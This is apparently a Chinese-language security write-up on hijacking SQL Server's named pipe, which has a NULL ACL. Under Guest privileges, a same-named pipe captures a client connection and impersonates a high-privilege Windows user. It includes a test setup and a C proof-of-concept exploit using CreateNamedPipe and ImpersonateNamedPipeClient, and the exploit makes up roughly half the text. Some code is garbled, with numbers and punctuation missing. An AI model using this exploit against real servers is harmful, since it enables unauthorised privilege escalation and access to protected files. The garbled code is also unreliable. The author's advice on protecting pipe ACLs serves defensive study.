SQL SERVER 通讯中允许使用有名管道来进行通讯一般情况下是如此命名的
默认实例\\\pipe\sql\query
命名实例\\\pipe\MSSQL$instancename\sql\query
也可以通过 UDP进行查询获得这个管道名称
但是由于SQL SERVER 对于这个管道的ACL设置为NULL导致任何用户的权限都可以对这个管道进行劫持以前的劫持都是利用先停掉服务再建立这个名字管道然后再启动服务来复用自己已经建立了名字的管道但实际上SQL SERVER 会判断是否已有同名管道然后会取别的名字而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞)但是实际上对管道的测试却发现如果ACL设置成NULL的话即使是后命名的管道也可以劫持先命令的管道只需要简单复用管道然后自己建立几个管道的连接不释放(具体建立几个估计和真正的管道
建立时的实例个数有关如在我的测试下\\\pipe\sql\query只需要建立个接可以劫持了而\\\pipe\lsass则需要个之后才能劫持不过\\\pipe\lsass的ACL只能是管理员才能进行劫持)
如果攻击者复用了同名管道以后建立起几个不释放的管道(消耗掉了正常管道的实例)然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了
下面就是一个简单的例子实现对SQL SERVER 管道通讯的劫持
环境SQL SERVER +SP
WIN SERVER中文版+SP
测试流程
先建立SQL 服务器允许管道通讯和集成WINDOWS 验证添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户启动SQL SERVER服务
C盘下建立一个TESTTXT文件设置ACL为GUEST全部拒绝其他人都许可
在另外一台机器B上以添加的可以登陆SQL SERVER的服务器帐户登陆然后设置客户端网络库只为管道(如果有多个可能就会是随机选一个连接而不肯定是管道进行通讯了)
然后用SQL SERVER企业管理器建立一个SQL SERVER的连接使用集成WINDOWS验证
SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序会显示先无法打开TESTTXT文件然后进行劫持等待客户端管道连接
在机器B上连接SQL SERVER然后主机A的程序就会截获这个管道扮演高权限登陆用户然后可以打开先没权限打开的文件
当然这个攻击本身实际的意义可能不大因为估计现在SQL SERVER用管道建立通讯的比较少而且在都允许的情况下一般会主动选择TCP方式进行连接但同时说明了一个缺乏很好ACL保护的管道也可以用后发复用来进行劫持这就减少了很多需要先停掉服务或预先预测的难题在编写服务器端管道应用的时候也必须小心
SQL SERVER 劫持代码
#include #include #include #include void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[];
int i;
int dwSize ;
char szUser[];
DWORD dwNumber = ;
//先的测试在GUEST权限下无法打开此文件
fp = fopen(C:\\testtxtw);
if(fp==NULL)
printf(now you dont open file;\n);
//建立起一个同名管道复用已存在的SQL SERVER的
pipea = CreateNamedPipe(\\\\\\pipe\\sql\\query
PIPE_ACCESS_DUPLEX
PIPE_TYPE_MESSAGE|PIPE_WAIT
NMPWAIT_USE_DEFAULT_WAIT
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf(error in createnamedpipe!code=%d\nret);
return;
}
//损耗掉其他正常实例
if(WaitNamedPipe(\\\\\\pipe\\sql\\queryNMPWAIT_WAIT_FOREVER)==)
{
printf(no this pipe\n);
return;
}
//可以调整个数SQL SERVER只需要调整一个就可以了
for(i=;i<1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",5,&num,NULL);
}
//然后等待连接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模拟连接进来的用户
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//获得用户信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再测试是否能打开这个文件,证明确实提升了权限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
}